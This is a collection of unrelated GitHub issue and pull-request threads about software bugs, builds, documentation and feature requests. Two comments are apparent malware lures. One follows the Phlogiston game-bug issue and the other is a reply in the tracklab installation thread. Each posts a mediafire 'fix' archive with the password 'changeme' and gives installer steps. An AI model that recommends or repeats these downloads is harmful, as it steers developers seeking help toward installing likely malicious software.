Phlogiston, and burn getting put out by napalm

When you splash someone with Phlogiston, it only sometimes lights people on fire. From testing it appears to be related to the order of the phlog in the solution.
Repo: Add 5 of anything, then 5 phlog in a beaker. When you splash, it won't ignite. But add phlog first and they will ignite. This includes chems that you could expect to increase the fire like napalm.
This doesn't seem to have been caused by the commit at #30955. Though that also seems to suffer from order of metabolizing, as the amount of damage and fire stacks wildly varies each time an Urist is injected with 5 napalm and 5 phlog.
This issue seems to be the same issue mentioned here #28445.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Fixed as of #31930


[release/1.7] deprecation: update warnings for CRI config fields

Cherry-pick of https://github.com/containerd/containerd/pull/10509
Some CRI config properties had removal postponed until v2.1 in https://github.com/containerd/containerd/pull/9966. Update the associated deprecation warnings to match the new removal version.
(cherry picked from commit f9146c0516c7cd92814cfded33958f048b950c0e)

/cherrypick release/1.6


new examples, rejecting extra fields

I updated the examples to include aind's smartspim and exaspim.
I also made the schemas reject extra fields (Adam made up some field names). This is a nontrivial change, so doing a minor version bump.

Should manufacturer here be "other" if this is a one-off collaboration? And then add the names in the notes?

Sorry, this one got a little out of hand.  Turning on a strict "no extra fields" policy was trickier than I thought and broke something unnecessarily fancy I was doing in DataDescription.


xScale.rangeBand is not a function

I'm getting the following error on 0.6.0:
Uncaught TypeError: xScale.rangeBand is not a function(anonymous function) @ BarChart.js:73(anonymous function)
My component looks like this:
import React, {Component} from 'react'
import {BarChart} from 'react-d3-components';

export default class Graph extends Component {
  render() {
    const {history} = this.props;

    const data = [{
      label: 'Average Ping',
      values: [
        {x: 1, y: 2},
        {x: 2, y: 1},
        {x: 3, y: 3},
        {x: 4, y: 5},
      ]
    }];

    return (
      <BarChart data={data} width={500} height={500} />
    )
  }
}

Any clues? I'm guess that this should be coming from DefaultScalesMixin but for some reason isn't.

Thanks for the report! I'll have a look.

Cool, this is the webpack setup I use https://github.com/madewithlove/webpack-config might be related

@codesuki I'm getting the same issue. Is it anything obvious? I could take a look myself?

@mcdonnelldean @bramdevries
I think since the input data is numbers DefaultScalesMixin does not create an ordinal scale which is needed to call rangeBands if I am not mistaken.
Could you try passing your own ordinal scale and see if it fixes it?
Best case would be if this could be handled in an elegant way. I just chose to make a linear scale if the input data is numeric. So either the values need to be converted to string or there needs to be an option to force the mixin to make an ordinal scale (which seems a bit dirty but maybe cannot be helped?)

Let me try an ordinal scale over the weekend and see what happens. I'll report back then.

I get the same error using Dates as my x values in my own data, as well as when trying to reproduce the bar chart in the example folder. I'm bundling with browserify.

If you pass dates it should normally make a time scale.
Could you debug and see if he jumps into this condition here?
https://github.com/codesuki/react-d3-components/blob/master/src/DefaultScalesMixin.jsx#L45

I also get the same error when using the BarChart with any scale other than ordinal.
Maybe because   component always makes calculations using xScale.rangeBand().
It works as expected for the LineChart though.
Is there a workaround for this?Thnx!

this is happening for me as well. My x values are dates that look like this:  Sat Jul 16 2016 11:43:35 GMT-0600 (MDT)
IDK a good workaround at the moment.

UPDATE: I formatted my data text to be "Fri, 07, 15th" type of formatting. Now I'm getting this.
bundle.js:8490 Uncaught Invariant Violation: Objects are not valid as a React child (found: Thu Jul 21 2016 11:58:37 GMT-0600 (MDT)). If you meant to render a collection of children, use an array instead or wrap the object using createFragment(object) from the React add-ons. Check the render method of Axis.

UPDATE: I fixed it. One of the properties on my values array was actually still being set as a Date not a string.


Updated Notion's emoji short code feature

Sorry for the second pull request. Notion also supports emoji short code, albeit you don't need to type the second colon. It searched the emoji for you.

Thanks again!


Links and references from XML documentation tags appear as plain text

XML documentation tags are not formatted correctly when looked at from within a .razor file. Instead, they appear as plain text, making hyperlinks and references rather redundant. Note that #6991 (essentially the same issue) was closed with the 17.5 milestone, but the problem still persists - tried with Visual Studio 17.5.2, as well as  17.6 Preview. However, prior 17.5, the link was not formatted at all(as in, you could see the entire href as-is), while in 17.5 and beyond, the link is formatted, but is rendered as plain text).
Tо reproduce the issue, simply add an xml summary to a parameter or a component, and then add the markup for said component in a razor file. To better illustrate the issue, if I decorate my parameter like so:
MyComponent.razor.cs
    ///
    /// Reference test: <see cref="Int32"/>.
    /// Link test: <see href="http://stackoverflow.com">Link</see>.
    ///
    [Parameter]
    public int CodeBehindParam { get; set; }

the hovered result within a .razor file would be:

while when referenced in a .cs on hover I would get:

If I am to document an entire component, then I cannot even see any formatting, with the end result being as-is string. Note that selection is not possible, thus one can't even copy the link:

As far as I can see, this doesn't work in a vanilla CSharp file either?

As far as I can see, this doesn't work in a vanilla CSharp file either?

If this is the case, then perhaps there is an issue with that as well. The official documentation does state that Visual Studio provides IntelliSense for the tags verified by the compiler, with the above-mentioned tags being such. It further states that the href of see and seealso should generate a clickable link to a given URL, hence the logged item.

I think this is a platform limitation in the VS LSP client, but we should confirm we're not doing anything wrong converting the links first.

Tried 8 different scenarios and will share screenshots of each next, each behaved slightly differently than the other which is interestingly showing how a simple hover could go through different lines of code even though in essence it's trying to do something fundamentally similar.
Here are the 8 different scenarios: in 4 different files, .cs, .cshtml, .razor within a code block, and in .razor outside the code block, relying on either completion or on hover to do get the doc info. In each case something works differently than the other.
here's what I tried (adds another line to the XML documentation sample in this issue description):
        ///
        /// Reference test: <see cref="Int32"/>.
        /// Link test: <see href="http://stackoverflow.com">Link</see>.
+        /// This block is code, and <c>null</c> is nil.
        ///
        [Parameter]
        public int CodeBehindParam { get; set; }

Expected:

The href link works properly
The block is formatted properly as well as <c>null</c>
The cref properly shows type
The full type of CodeBehindParam is shown as a markdown

Actual:

In .cs on hover:

Actual successfully matches expectation in a CS file when doing hover.

In .cs on completion:

The href link doesn't work on completion.
The block is not properly padded with the expected spacing)

In .cshtml on hover:

The href link doesn't work

In .cshtml on completion:

The href link doesn't work
The block and <c>null</c> are not formatted properly

In .razor inside @code block on hover:

The href link doesn't work

In .razor inside @code on completion:

The href link doesn't work
The block and <c>null</c> are not formatted properly

In .razor outside @code block on hover:

Link doesn't work.

In .razor outside @code on completion:
Many things are wrong in this last screenshot:

The href link does not work
The block and <c>null</c> are not formatted properly
The cref type is not properly showing up (instead shows up as Int32)
The full type of CodeBehindParam is not shown as a markdown

The previous comment I just posted shows the worst performing case is happening in a .razor file outside @code during completion.
But this also shows (out of scope of this issue) how we seem to have possibly duplicated logic spanning across different repos (I assume roslyn and razor repos) and also different files within them, (between hover and completion).

FYI,
The very recent PR https://github.com/dotnet/razor/pull/8503 fixed most issues in the last screenshot for "completion outside @code in a razor file", which happened to be a regressed behavior:
Before PR:

:x: The href link does not work
:x: The block and <c>null</c> are not formatted properly
:x: The block is not properly padded with the expected spacing
:x: The cref type is not properly showing up (instead shows up as Int32)
:x: The full type of CodeBehindParam is not shown as a markdown

After PR:

:x: The href link does not work
:white_check_mark: The block is formatted properly as well as <c>null</c>
:x: The block is not properly padded with the expected spacing
:white_check_mark: The cref properly shows type
:white_check_mark: The full type of CodeBehindParam is shown as a markdown

The key bug related to references showing up as plain text has been fixed via https://github.com/dotnet/razor/pull/8503.
The inconsistencies with href link has been addressed elsewhere for further review.

Much appreciated you looking into this @maryamariyan.

The inconsistencies with href link, seems more like an editor issue and has been addressed elsewhere for further review.

Is there any public item where I can track the progress on this, as I would like to know if/when this gets resolved? Thanks!


Certification coursework description error (Data Analysis with Python)

Describe your problem and how to reproduce it:
I recently completed the Data Analysis with Python projects and claimed the certification. I noticed that the coursework described in the certificate (400 hs) doesn't match the official one (300 hs), as it appears in the curriculum.
Add a Link to the page with the problem:
https://www.freecodecamp.org/certification/gianplod/data-analysis-with-python-v7
Recommended fix, suggestions (how would you update it?):
Change the coursework to 300 hs.
If possible, add a screenshot here (you can drag and drop, png, jpg, gif, etc. in this box):

Hey there,
Thank you for bringing this to our attention. This appears to be related to https://github.com/freeCodeCamp/freeCodeCamp/issues/39284, so we are going to close this issue as a duplicate.
If you feel this issue is not related, please provide any additionally relevant information and request that we reopen the issue. 🙂

Hey there,
Thank you for bringing this to our attention. This appears to be related to https://github.com/freeCodeCamp/freeCodeCamp/issues/39284, so we are going to close this issue as a duplicate.
If you feel this issue is not related, please provide any additionally relevant information and request that we reopen the issue. 🙂

I did some searching to find any similar issue, but it seems it wasn't good enough. Thank you!

I did some searching to find any similar issue, but it seems it wasn't good enough. Thank you!


Update typescript interface

While using it in typescript i found some missing functions in interface.

@ocram1095 , instead of using any can you change it to map to the actual options. It looks like MapDrawOptions is what should be passed in there.

@ryan-morris is this PR covered with the new release? Can we close it or should it be merged?

@Falke-Design not all these changes were included in the last release. If @ocram1095 doesn't get a chance to fix the conflicts I'll include the changes in the next set of changes I've been working on.


Improve dif_otp_ctrl_read_blocking()

    This interface is non-ideal since our generated constants are relative to the start of the memory mapped window, not individual partitions. We should probably just remove the partition parameter from this function and perform the addition, if needed, at callsites.

Originally posted by @alphan in https://github.com/lowRISC/opentitan/pull/16391#discussion_r1024260468

CC @timothytrippel @cfrantz @mundaym

Closing this as we have testutils that abstract away most OTP operations now.


Require creating class instance via 'new'

TypeScript Version:  2.4.0 / nightly (2.5.0-dev.201xxxxx)
Code
TypeScript allows to pass an object literal where class is expected:
class A {
    constructor(public readonly from: number, public readonly to: number) {
        if(to<from) throw new Error("to<from");
        console.log("A");
    }
    length(): number{return this.to - this.from }
}

function f(a: A): boolean {
    return a instanceof A;
}

f(new A(1, 2)); // true
f({ from:2, to: 1, length: ()=>3 }); // false with overriding length and using bad values.

Is there an option to require creating class objects using 'new' and disallowing object literals?
Another question is how to ensure class invariant if I can pass any object literal and bypass the constructor validation.

Adding private member solves this.
class A {
    constructor(public readonly from: number, public readonly to: number) {
        if(to<from) throw new Error("to<from");
        console.log("A");
    }
    length(): number{return this.to - this.from }
    private _:{}; // dummy private
}

function f(a: A): boolean {
    return a instanceof A;
}

f(new A(1, 2)); // true
f({ from:2, to: 1, length: ()=>3 });  // Compilation error


Missing Managed by Label

services.cloud.sap.com/managed-by-sap-btp-operator label is not applied to service instances and service bindings. Because of that the limited cache functionality introduced in https://github.com/SAP/sap-btp-service-operator/pull/435 is not going to cache service instances and service bindings.

Label is not needed, all btp operator service instances and binding will be added to the cache


Cloudinit support

Hi,
Azure has support for CloudInit: https://azure.microsoft.com/en-us/documentation/articles/virtual-machines-how-to-inject-custom-data/ and according to the documents it's currently only available via the CLI.
I couldn't find in the documents how to pass a custom script via a user_data, because I've assumed may be the SDK for go might have a support. Is there any support for CloudInit in the current Go SDK? If not is there any plans to add it?
Thanks

Hi @fatih, the cloud-init data is passed to the Azure Compute REST APIs through the osProfile.customData field in the VM configuration struct.

REST API reference for this call is here: https://msdn.microsoft.com/en-us/library/azure/mt163591.aspx
In the Go SDK this corresponds to the following struct/field: https://github.com/Azure/azure-sdk-for-go/blob/3dcabb61c225af4013db7af20d4fe430fd09e311/arm/compute/models.go#L393
You can use it with arm/compute/VirtualMachinesClient#CreateOrUpdate(...) method. https://github.com/Azure/azure-sdk-for-go/blob/1a29bf058b780f6a05fc67111efae7930c4a1621/arm/compute/virtualmachines.go#L117

Does this help?

Hi @ahmetalpbalkan, I've looked for the keyword cloudinit or user_data (as this is the norm for others, such as AWS or DO). Never thought it was something called CustomData. The rest should be fairly easy on our side. Thanks for your detailed response, much appreciated.


Export action updateSyncErrors.

Same issue as https://github.com/erikras/redux-form/pull/3631, but a different action.

Published in v8.0.0.


⚠ GitLab Server has degraded performance

In fae5988, GitLab Server (https://gitlab01.its-telekom.eu) experienced degraded performance:

HTTP code: 200
Response time: 6130 ms

Resolved: GitLab Server performance has improved in 5a2c282.


Please support React 0.14

I think you just need to change the dependency information in package.json.
I wouldn't post this issue, but the peerDependency is preventing me from using it with 0.14.
Thank you.

I've seen:
"react": ">=0.13.3 || ^0.14.0-rc1"

@dminkovsky fancy doing a PR?

Sure thing https://github.com/chenglou/react-radio-group/pull/21

Not necessary with 0.14 out.


Changes for new backend checks

This lambda updates the API with the backend checks responses but instead of doing one at a time, it sends multiple updates.
It will also send updates for redacted files and for the file and consignment statuses.
As this is no longer sending SQS messages and no longer encrypting environment variables (as there's nothing sensitive any more) there's a lot of deleted files.

I've deleted the Jenkinsfiles and removed the references to the queues from the README.
I've updated the deploy workflow to point to a new v2 version of the lambda which should stop this being a breaking change.


Update README.md

Adding a workaround that I had to do to get it to work for me.

Hey, you made the PR to your fork of the repo instead of to spelufo/vesuvius-blender, so I hadn't seen it.
I've adjusted the readme with the addon path for OSX users. Thanks for pointing out the problem.


deny_networks on NetOut

Hi all,
https://github.com/cloudfoundry-incubator/garden/blob/771dc9b6304276a0a3efd2f1e60a7c7d0cd27b4c/container.go#L91-L92 mentions a deny_networks "configuration directive" but I can't find any other reference to it. Is this a real thing? We are looking to implement this API for garden-windows and want to make sure we understand it.
Best,
Ben

It's a flag accepted by garden-linux which sets the networks which are denied by default (before NetOut rules add whitelist exceptions). Other backends would be expected to have a similar way to configure the base set of denied-by-default networks or to deny everything (or to allow everything by default but then NetOut is a no-op).

Great, thank you!


[BUG] Homepage Backgroud Music not playing

Describe the bug
I have tested and found that the background music which is supposed to be played automatically when we open the homepage, is NOT PLAYING.
And this error in the console is coming -

Uncaught (in promise) DOMException: play() failed because the user didn't interact with the document first. https://goo.gl/xX8pDD

I did a little bit of research and found that Autoplay with sound is allowed if the user has interacted with the domain  (click, tap, etc.).. For more info read Autoplay policy in Chrome.
To Reproduce
Steps to reproduce the behavior:

Go to https://arito.netlify.app
Notice there is no background music being played (if it is played, it may be due to extensions in your browser)
Try to reproduce on a browser with no extensions or temporarily disable all the extensions.

Expected behavior
The background music should start playing automatically when the app is opened as shown in the Demo Video.
Screenshots
Watch the Demo Video and see that the background music is playing, it was because of a live server extension in VS code. But the same thing is not happening in the app when there is no user interaction or extensions that could interact with the website.
Desktop:

Ubuntu
Brave Browser
v0.1

Additional context
This problem may get solved when we add the sound buttons functionality as explained in issue #13. We can keep the music muted by default, and when the user clicks on the buttons it will be an interaction and the music will start playing.

Hi @prakhartiwari0 on top of this issue I noticed that the background music volume that comes on while doing the exercises couldn't be turned down or muted.
Smartphone: Apple Browser: Safari

Hey, please open a new issue about this!
I wasn't aware of this one, thanks @EmmanuelEngelbert 😇

There also seems to be a bug on the same iPhone I was testing on concerning the missing sound after pressing the 'LET'S START!' button. The sound only comes on after pressing the 'GET SET GO!' button. Would you like me to attach this to the same issue? Thanks.

Hey @EmmanuelEngelbert Sorry for the delayed reply, yes please make an issue for all of those problems that you are facing on apple devices and mention each detail properly.
Thanks for contributing 😇

Hi @prakhartiwari0,
No worries, thanks for giving me the chance to contribute!
I'll try my best to submit a legible issue when I get the time!
Many thanks!

I don't think this issue is valid anymore


Add UKRIM main domain

@puskomukrim First stage of verification passed, official domain is ukrim.ac.id as far as I verified. This is just an informational note. Pull request is still in the review. I appreciate your patience while waiting for the final decision.

@puskomukrim Thank you for your patience while waiting for a review and processing your request. Pull request merged.


[all products] Linux Support Documentation

This issue is to document the process of adding Linux support to FlutterFire plugins and to discuss the possibility.

So by changing the title to documentation, do you mean that the implementation is there but needs docs, or am I getting it wrong?

Duplicate of https://github.com/FirebaseExtended/flutterfire/discussions/5557


Recycler view

Implementing the SearchRVFragment
Implementing RecentlyWatchedRFragment and FavortiteRFragment
Implementing PlaylistFragment using recycleview
Adding an endless scrolling feature and download from shared links
Adding a loader to the loadMoreVideos and fixing some bugs with the donwload shared links

Implementing the SearchRVFragment
Implementing RecentlyWatchedRFragment and FavortiteRFragment
Implementing PlaylistFragment using recycleview
Adding an endless scrolling feature and download from shared links
Adding a loader to the loadMoreVideos and fixing some bugs with the donwload shared links


Fix cmdStageAllocMatrix parameter swap

For cmdStageAllocMatrix, InputChans is length of Matrix, OutputChans is
length of Offsets. The original code will allocate NewElem->Offset with
length Cols=InputChans (cmslut.c:417). This results in heap buffer
overflow later.

I found a bug -- offset buffer allocated with wrong length.
However, I am not sure which variables (ptr or size? caller or callee?) are
swapped. Since I don't understand what lcms is calculating, this fix is based on
my common sense best guess.
Please help review it. Thanks


🐛 Bug Report: docs -- isolated-vm does not compile on Jod LTS release

📜 Description
The docs state that backstage works with the Active Node LTS version. However, the isolated-vm package does not compile on MacOS Sequoia on node version 22.x (lts/Jod). When I back-level to 20.x (lts/Iron) it compiles successfully
👍 Expected behavior
The docs accurately list the versions of Node that work
👎 Actual Behavior with Screenshots
I know Jod is very new to the LTS stream so this just needs to be updated till the package is fixed.
👟 Reproduction steps
Follow the steps to create a new backstage app with Node.js v22
📃 Provide the context for the Bug.
No response
🖥 Your Environment
No response
👀 Have you spent some time to check if this bug has been raised before?

[X] I checked and didn't find similar issue

🏢 Have you read the Code of Conduct?

[X] I have read the Code of Conduct

Are you willing to submit PR?
None

Related: https://github.com/backstage/backstage/issues/27403

Hi @jghiloni, could you please take a look at this comment?
https://github.com/backstage/backstage/issues/27403#issuecomment-2449526277
cc/ @Rugvip

This was fixed by #27286, but you'll need to wait for the 1.33 Backstage release to be published, or use a next release.
It's the bump of isolated-vm from v4 to v5 that fixes this, since v5 is required for Node.js 22

Hi @jghiloni, what page did you look at? Was it this one: https://backstage.io/docs/overview/versioning-policy#nodejs-releases? If so the second bullet point says this: "Once a new Node.js release becomes Active LTS we switch to support that release and the previous one. The switch is not immediate but done as soon as possible. "
Is there something you suggest we could improve on this to make that more clear? I did take a swing at it in #27415


Error during installation

Hi, I am trying to install this package following the instructions in README. I am using conda to setup the environment. Upon running pip install -e ., I am getting the following error
$ pip install -e .
Obtaining file:///home/v-i-s-h/repos/soccernet/tracklab
  Installing build dependencies ... done
  Checking if build backend supports build_editable ... done
  Getting requirements to build editable ... done
  Preparing editable metadata (pyproject.toml) ... done
Collecting lap@ git+https://github.com/TrackingLaboratory/lap (from tracklab==1.1.2)
  Cloning https://github.com/TrackingLaboratory/lap to /tmp/pip-install-0577k4ds/lap_16ac25cc32144c4a9353bbf79357c4fb
  Running command git clone --filter=blob:none --quiet https://github.com/TrackingLaboratory/lap /tmp/pip-install-0577k4ds/lap_16ac25cc32144c4a9353bbf79357c4fb
  Resolved https://github.com/TrackingLaboratory/lap to commit b02b664623fdfef5fd822b8ee0d1b2491ab945ed
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... error
  error: subprocess-exited-with-error

  × Preparing metadata (pyproject.toml) did not run successfully.
  │ exit code: 1
  ╰─> [31 lines of output]
      <string>:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
      <string>:222: DeprecationWarning:

        `numpy.distutils` is deprecated since NumPy 1.23.0, as a result
        of the deprecation of `distutils` itself. It will be removed for
        Python >= 3.12. For older Python versions it will remain present.
        It is recommended to use `setuptools < 60.0` for those Python versions.
        For more details, see:
          https://numpy.org/devdocs/reference/distutils_status_migration.html

      Traceback (most recent call last):
        File "/home/v-i-s-h/.conda/envs/soccernet/lib/python3.10/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 353, in <module>
          main()
        File "/home/v-i-s-h/.conda/envs/soccernet/lib/python3.10/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 335, in main
          json_out['return_val'] = hook(**hook_input['kwargs'])
        File "/home/v-i-s-h/.conda/envs/soccernet/lib/python3.10/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 149, in prepare_metadata_for_build_wheel
          return hook(metadata_directory, config_settings)
        File "/tmp/pip-build-env-ze41pykn/overlay/lib/python3.10/site-packages/setuptools/build_meta.py", line 373, in prepare_metadata_for_build_wheel
          self.run_setup()
        File "/tmp/pip-build-env-ze41pykn/overlay/lib/python3.10/site-packages/setuptools/build_meta.py", line 318, in run_setup
          exec(code, locals())
        File "<string>", line 235, in <module>
        File "<string>", line 222, in setup_package
        File "/tmp/pip-build-env-ze41pykn/overlay/lib/python3.10/site-packages/numpy/distutils/core.py", line 24, in <module>
          from numpy.distutils.command import config, config_compiler, \
        File "/tmp/pip-build-env-ze41pykn/overlay/lib/python3.10/site-packages/numpy/distutils/command/config.py", line 19, in <module>
          from numpy.distutils.mingw32ccompiler import generate_manifest
        File "/tmp/pip-build-env-ze41pykn/overlay/lib/python3.10/site-packages/numpy/distutils/mingw32ccompiler.py", line 27, in <module>
          from distutils.msvccompiler import get_build_version as get_build_msvc_version
      ModuleNotFoundError: No module named 'distutils.msvccompiler'
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: metadata-generation-failed

× Encountered error while generating package metadata.
╰─> See above for output.

note: This is an issue with the package mentioned above, not pip.
hint: See above for details.

OS: Ubuntu 20.04
All other packages are exactly same version as mentioned in the README.
How to fix this?

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Seems like the error is coming from lap package. I was able to resolve this issue and install tracklab by

Close lap and follow the install instructions in that README (Just do python setup.py build  and python setup.py install)
Comment out lap dependency from tracklab pyproject.toml and follow the normal install instructions

Is there any way to incorporate this into tracklab's installation itself?

Hi @v-i-s-h !
Which version of python and numpy are you using ? I just tried to install it again from scratch and I can't reproduce this on python 3.10.5 and numpy  1.26.4 .
In addition, could you try the "poetry way" ? We're more and more focusing on poetry because it allows us to lock dependencies more precisely, and this allows better control (and fewer installation errors)
Thanks !

This is solved by updating lap in trackinglaboratory/lap@6ec997b . You can try again to pip install -e . . If this issue persist for you, you might want to try pip install -e . --no-cache-dir or creating a new conda virtual environment, but it shouldn't be necessary.

Thanks! I can confirm that this is working.


Respect globs array order, fixes #25

Fixes #25
Fixes gulpjs/gulp#837

done https://github.com/jonschlinkert/glob-fs/issues. a wishlist would be a great starting point. I'm about to share some cooking with a 1yr old and 4yr old :) so I'll try to start a list later this week. but feel free to get something started

done https://github.com/jonschlinkert/glob-fs/issues. a wishlist would be a great starting point. I'm about to share some cooking with a 1yr old and 4yr old :) so I'll try to start a list later this week. but feel free to get something started

Okay, I started a wishlist here: https://github.com/jonschlinkert/glob-fs/issues/1 to get some discussion started

Okay, I started a wishlist here: https://github.com/jonschlinkert/glob-fs/issues/1 to get some discussion started


Add support for connecting Presto query engine

@arpit1997 are you willing to work in this?

Yeah I can get this done on Thursday. It shouldn't take very long.
@argenisleon
On Wed, 21 Aug 2019, 06:11 Argenis Leon<EMAIL_ADDRESS>wrote:

@arpit1997 https://github.com/arpit1997 are you willing to work in this?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/ironmussa/Optimus/issues/627?email_source=notifications&email_token=ACRP5RSSAASXOVTYWE7BPXTQFSFM5A5CNFSM4INXO7I2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD4YCJUQ#issuecomment-523248850,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ACRP5RWRH4772HCTAF34XU3QFSFM5ANCNFSM4INXO7IQ
.


allow deleting runs

Clear and concise description of the problem
sometimes one may want to debug pipelines, which may involve printing sensitive info.
now, one may fortunately set such a repo to private to protect such info, but ideally, one would be able to cleanse any such sensitive info such as to put such a repo public again.
Suggested solution
allow deleting runs to cleanse sensitive info
Alternative
keep repo private to protect sensitive info
Additional context
version: next
Validations

[X] Checked that the feature isn't part of the next version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.

Would be deleting logs be enough? Otherwise I would recommend to debug using the cli. Removing complete runs would allow to bypass the kind of auditlog it currently has which is often used for quality assurance and prevents for example unaware deployments, manipulated releases, ...

fair, that should do!


Release Google.Maps.MapsPlatformDatasets.V1Alpha version 1.0.0-alpha01

Changes in this release:
Initial release.

Note: no smoke test at the moment as it requires the project number which we don't have available in general. I've smoke-tested locally though, and it's fine.

Created release for Google.Maps.MapsPlatformDatasets.V1Alpha-1.0.0-alpha01


Autorestart

Hi,
would it be possible, that node red is being auto restarted on a crash? Currently, sometimes it goes down and has to be manually started again.

That would be very cool indeed! But i think we need to automate that in Home-Assistant itself


default to kubedns &set nxdomain in kubedns deployment if that's the dns_mode

This simply changes the default dns after some discussion in the slack channel. Also applies the bogus domain fixes to the kubedns deployment if it's the only dns being deployed.

ci check this

This pipeline actually completed successfully on a retry, but didn't update status. It had initially failed during the VM creation stage. Merging.

You forgot to specify this change in documentation: https://github.com/kubernetes-incubator/kubespray/blob/master/docs/dns-stack.md#dnsmasq_kubedns-default


OCPBUGS-8683: Add management workloads annotations

To support the workload partitioning we need to add the required annotations (https://github.com/openshift/enhancements/pull/703).

/lgtm

/retest-required

/retest-required

/lgtm


[release-1.10] make file debounce duration configurable

Manual backport of #34738
Please check any characteristics that apply to this pull request.

[X] Does not have any user-facing changes. This may include CLI changes, API changes, behavior changes, performance improvements, etc.

@ramaraochavali: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-k8s-tests_istio_release-1.10
f7d55e3e92dde8919d442765d72a56a76c8c42e9
link
/test integ-pilot-k8s-tests_istio_release-1.10

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test integ-pilot-k8s-tests_istio_release-1.10


fix(ios): Xcode 16 build issue

Connection with issue(s)
Resolve issues #2278 #2201 #2279 #2202
To Do

[X] double check the original issue to confirm it is fully satisfied
[X] add testing notes and screenshots in PR description to help guide reviewers
[X] request the "UX" team perform a design review (if/when applicable)

In the meantime before merge, can be refererenced as
  flutter_inappwebview:
    git:
      url: https://github.com/arrrrny/flutter_inappwebview.git
      path: flutter_inappwebview
      ref: gitref

flutter_inappwebview:
git:
url: https://github.com/arrrrny/flutter_inappwebview.git
path: flutter_inappwebview
ref: gitref

I changed the import like this, but face a new error: /Users/developer/.pub-cache/git/flutter_inappwebview-7534e8de6f672917e9ab4edf5c3a0959715c0aa7/flutter_inappwebview/lib/src/webview_environment/webview_environment.dart:
12:14: Error: Type 'PlatformWebViewEnvironmentCreationParams' not found.

lib/src/webview_environment/webview_environment.dart:12:14: Error: Type 'PlatformWebViewEnvironmentCreationParams' not found.

Same.

You can use my new package zikzak_inappwebview fork of this package that I will keep maintaining. Thanks @pichillilorenzo for developing/maintaining this package for a long time. I guess he is busy or on vacataion. I am the builder of Flutter Vendure (open source headless commerce framework) package. Vendure  Please open your PRs there and I am happy to check them and merge them by Monday.

I guess he is busy or on vacataion.

In this issue, he says he is planning to return back to the project (this month?). You can let ppl in the thread now about your fork, coz some of them were looking for something like this.

You can use my new package zikzak_inappwebview fork of this package that I will keep maintaining. Thanks @pichillilorenzo for developing/maintaining this package for a long time. I guess he is busy or on vacataion. I am the builder of Flutter Vendure (open source headless commerce framework) package. Vendure Please open your PRs here and I am happy to check them and merge them by Monday.

@EArminjon

(don't close this PR, phill seems to be bakc)


Rom key documentation update

Document how to generate keys and also document how the key slots work and what they are.

@cfrantz Since the key slots are earlgrey-specific, I am thinking that it makes sense to put in the earlgrey documentation but I don't have a high-level understanding of the documentation structure to make a good decision.
Also I don't know if it makes sense for the source of truth to be a hjson file, like for other things such as memory map or pinout, and for this table to be auto-generated as part of the documentation?

I added the table in #17364 since it seems to make sense to do it at the same time. I have split this PR between the generic doc and the earlgrey specific one in #17474


Add OpenStack driver for CI environments

People use CRC in a CI environment, but this is often running as a nested virtualization (running from a VM), and this causes slowdowns/performance issues in the usage.
The current cluster image expects a single IP address and domain to operate.

Users can use the assisted installer to provision a single node cluster on OpenStack. They can use snapshots if it needs to be setup faster.


golden troupe does not clear 4 pc if active char never swap off

if active char has 4pc golden troupe and never swap off the buff does not clear after 2s

actually not bugged


Added additional roles and role-based permissions to FE

Looks like we're wrapping all private components in the CheckPermissions component. Is this correct? Should all private pages contain the wrapper from now on?

Looks like we're wrapping all private components in the CheckPermissions component. Is this correct? Should all private pages contain the wrapper from now on?

Yep, I think so. The route-level protection just checks that a user is authenticated. For role-based permissions I think we're going to need this to wrap everything private because of how the IDP works - someone can login with their BCeID or IDIR right away, just without a role, so we need to control what authenticated users without a role have access to as they may be going to a direct link shared with them prior to role assignment.


luci-mod-admin-full: correct logic for dnsmasq boguspriv keyword

Prevents deletion of the UCI dns boguspriv keyword and explicitly sets it to either 0 or 1 as the LEDE/Openwrt dnsmasq.conf default is 1 - not 0.  This allows boguspriv to be turned off from the GUI.
Signed-off-by: Warren Linton<EMAIL_ADDRESS>

Can you change it to just bp.default = bp.enabled and remove the rmempty override? This should be enough (LuCI will write the option when set to 0 and remove it when set to 1).

Ahh indeed.  I've made the change but as I'm editing online, I can't compress the changes.  Are you able to do this?

Sure thing, squashed & merged :) Thanks!


onLoad doesn't trigger on load

Howler ref is recognized, and after mounting console does print out 'loading' as expected. However, the function stored in this.howler.onload does not trigger -- the console does not print 'Howler loaded'
Here's my method. Note that this.howler is a ref to the ReactHowler component:
  componentDidMount() {     if (this.howler) { // if ref is functional...       console.log(this.howler.howlerState())       this.howler.onLoad = () => { // wait until howler loads         console.log("Howler loaded");         this.props.setSeek(this.howler.seek); // and set a bunch of stuff         this.props.setDuration(this.howler.duration);       };     }   }
Additionally, I added the following line to the top of my render method:
if (this.howler) console.log(this.howler.howlerState()); //if howler ref exists, show it's load state
When I click on a couple buttons, forcing a re-render, this line prints out 'loaded' to the console. Note, at no point in between the initial 'loading' and the final 'loaded' does 'Howler loaded' print out, which should be the case if this.howler.onLoad was successfully called.
I did try replacing the function name with a lowercase L ('this.howler.onload'). Did not fix.

Not a ref function, onLoad is a prop you put into the element.


How to use CC3M for training?

@Pter61 Thanks for your excellent work! I have some difficulties in utilizing the CC3M dataset.
